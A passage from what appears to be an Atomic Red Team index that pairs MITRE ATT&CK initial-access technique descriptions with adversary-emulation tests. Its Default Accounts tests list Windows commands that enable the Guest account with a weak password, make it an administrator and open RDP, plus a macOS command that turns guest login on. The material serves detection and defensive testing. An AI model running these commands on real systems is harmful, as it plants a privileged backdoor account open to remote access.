          del %temp%\..\Microsoft\ExplorerSync.db 2>null
          del %temp%\ExplorerSync.db 2>null
        name: command_prompt
  T1190:
    technique:
      modified: '2023-11-28T21:27:35.373Z'
      name: Exploit Public-Facing Application
      description: |-
        Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.

        Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

        If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.

        Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)

        For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Praetorian
      x_mitre_deprecated: false
      x_mitre_detection: Monitor application logs for abnormal behavior that may indicate
        attempted or successful exploitation. Use deep packet inspection to look for
        artifacts of common exploit traffic, such as SQL injection. Web Application
        Firewalls may detect improper inputs attempting exploitation.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - IaaS
      - Network
      - Linux
      - macOS
      - Containers
      x_mitre_version: '2.5'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1190
        external_id: T1190
      - source_name: CWE top 25
        description: Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011,
          September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved
          April 10, 2019.
        url: https://cwe.mitre.org/top25/index.html
      - source_name: CIS Multiple SMB Vulnerabilities
        description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows
          SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.
        url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
      - source_name: Wired Russia Cyberwar
        description: Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare
          in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.
        url: https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/
      - source_name: Mandiant Fortinet Zero Day
        description: Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom
          Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved
          March 22, 2023.
        url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
      - source_name: NVD CVE-2016-6662
        description: National Vulnerability Database. (2017, February 2). CVE-2016-6662
          Detail. Retrieved April 3, 2018.
        url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
      - source_name: NVD CVE-2014-7169
        description: National Vulnerability Database. (2017, September 24). CVE-2014-7169
          Detail. Retrieved April 3, 2018.
        url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: OWASP Top 10
        description: OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved
          April 3, 2018.
        url: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
      - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
        url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1659:
    technique:
      modified: '2023-10-01T02:28:45.147Z'
      name: Content Injection
      description: |-
        Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)

        Adversaries may inject content to victim systems in various ways, including:

        * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)
        * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)

        Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Process: Process Creation'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c
      created: '2023-09-01T21:03:13.406Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1659
        external_id: T1659
      - source_name: EFF China GitHub Attack
        description: Budington, B. (2015, April 2). China Uses Unencrypted Websites
          to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.
        url: https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack
      - source_name: ESET MoustachedBouncer
        description: 'Faou, M. (2023, August 10). MoustachedBouncer: Espionage against
          foreign diplomats in Belarus. Retrieved September 1, 2023.'
        url: https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/
      - source_name: Kaspersky Encyclopedia MiTM
        description: Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack.
          Retrieved September 1, 2023.
        url: https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/
      - source_name: Kaspersky ManOnTheSide
        description: Starikova, A. (2023, February 14). Man-on-the-side – peculiar
          attack. Retrieved September 1, 2023.
        url: https://usa.kaspersky.com/blog/man-on-the-side/27854/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078.001:
    technique:
      modified: '2024-03-07T14:27:04.770Z'
      name: 'Valid Accounts: Default Accounts'
      description: |-
        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      created: '2020-03-13T20:15:31.974Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/001
        external_id: T1078.001
      - source_name: AWS Root User
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
      - source_name: Microsoft Local Accounts Feb 2019
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
      - source_name: Metasploit SSH Module
        description: undefined. (n.d.). Retrieved April 12, 2019.
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
      - source_name: Threat Matrix for Kubernetes
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
        guest_password:
          description: Specify the guest password
          type: string
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: string
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: string
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

        '
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

          '
        cleanup_command: 'net user #{guest_user} /active:no

          '
        name: command_prompt
        elevation_required: true
    - name: Enable Guest Account on macOS
      auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4
      description: This test enables the guest account on macOS using sysadminctl
        utility.
      supported_platforms:
      - macos
      executor:
        command: sudo sysadminctl -guestAccount on
        cleanup_command: sudo sysadminctl -guestAccount off
        name: sh
        elevation_required: true
  T1199:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Trusted Relationship
      description: |-
        Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

        Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)

        In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_detection: Establish monitoring for activity conducted by second and
        third party providers and other trusted entities that may be leveraged as
        a means to gain access to the network. Depending on the type of relationship,
        an adversary may have access to significant amounts of information about the
        target before conducting an operation, especially if the trusted relationship
        is based on IT services. Adversaries may be able to act quickly towards an
        objective, so proper monitoring for behavior related to Credential Access,
        Lateral Movement, and Collection will be important to detect the intrusion.
      x_mitre_platforms:
      - Windows
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Office 365
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '2.3'
      x_mitre_contributors:
      - Praetorian
      - ExtraHop
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1199
        external_id: T1199
      - source_name: CISA IT Service Providers
        description: CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved
          November 16, 2020.
        url: https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers
      - source_name: Office 365 Delegated Administration
        description: 'Microsoft. (n.d.). Partners: Offer delegated administration.
          Retrieved May 27, 2022.'
        url: https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1566:
    technique:
      modified: '2024-03-01T16:56:32.245Z'
      name: Phishing
      description: "Adversaries may send phishing messages to gain access to victim
        systems. All forms of phishing are electronically delivered social engineering.
        Phishing can be targeted, known as spearphishing. In spearphishing, a specific
        individual, company, or industry will be targeted by the adversary. More generally,
        adversaries can conduct non-targeted phishing, such as in mass malware spam
        campaigns.\n\nAdversaries may send victims emails containing malicious attachments
        or links, typically to execute malicious code on victim systems. Phishing
        may also be conducted via third-party services, like social media platforms.
        Phishing may also involve social engineering techniques, such as posing as
        a trusted source, as well as evasive techniques such as removing or manipulating
        emails or metadata/headers from compromised accounts being abused to send
        messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation:
        Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)
        Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof)
        the identity of the sender which can be used to fool both the human recipient
        as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nVictims
        may also receive phishing messages that instruct them to call a phone number
        where they are directed to visit a malicious URL, download malware,(Citation:
        sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software)
        or install adversary-accessible remote management tools onto their computer
        (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation:
        Unit42 Luna Moth)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Philip Winther
      - Ohad Zaidenberg, @ohad_mz
      - Liora Itkin
      - Liran Ravich, CardinalOps
      - Scott Cook, Capital One
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.

        Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.

        Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - SaaS
      - Office 365
      - Google Workspace
      x_mitre_version: '2.5'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b
      created: '2020-03-02T18:45:07.892Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1566
        external_id: T1566
      - source_name: ACSC Email Spoofing
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
      - source_name: CISA Remote Monitoring and Management Software
        description: CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring
          and Management Software. Retrieved February 2, 2023.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa23-025a
      - source_name: cyberproof-double-bounce
        description: Itkin, Liora. (2022, September 1). Double-bounced attacks with
          email spoofing . Retrieved February 24, 2023.
        url: https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends
      - source_name: Unit42 Luna Moth
        description: Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign.
          Retrieved February 2, 2023.
        url: https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/
      - source_name: Microsoft Anti Spoofing
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
      - source_name: Microsoft OAuth Spam 2022
        description: Microsoft. (2023, September 22). Malicious OAuth applications
          abuse cloud email services to spread spam. Retrieved March 13, 2023.
        url: https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/
      - source_name: sygnia Luna Month
        description: 'Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.).
          LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved
          February 2, 2023.'
        url: https://blog.sygnia.co/luna-moth-false-subscription-scams
      - source_name: Proofpoint-spoof
        description: Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February
          24, 2023.
        url: https://www.proofpoint.com/us/threat-reference/email-spoofing
      - source_name: Palo Alto Unit 42 VBA Infostealer 2014
        description: Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated
          Infostealer Campaign. Retrieved March 13, 2023.
        url: https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Valid Accounts
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_contributors:
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - Sekhar Sarukkai, McAfee
      - Jon Sternstein, Stern Security
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '2.6'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_defense_bypassed:
      - Firewall
      - Anti-virus
      - Host Intrusion Prevention Systems
      - Network Intrusion Detection System
      - Application Control
      - System Access Controls
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      created: '2017-05-31T21:31:00.645Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078
        external_id: T1078
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: CISA MFA PrintNightmare
        description: Cybersecurity and Infrastructure Security Agency. (2022, March
          15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting
          Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability.
          Retrieved March 16, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1566.004:
    technique:
      modified: '2023-10-15T11:49:40.990Z'
      name: Spearphishing Voice
      description: |-
        Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.

        All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)

        Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974
      created: '2023-09-07T21:50:08.827Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1566/004
        external_id: T1566.004
      - source_name: CISA Remote Monitoring and Management Software
        description: CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring
          and Management Software. Retrieved February 2, 2023.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa23-025a
      - source_name: Unit42 Luna Moth
        description: Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign.
          Retrieved February 2, 2023.
        url: https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/
      - source_name: sygnia Luna Month
        description: 'Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.).
          LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved
          February 2, 2023.'
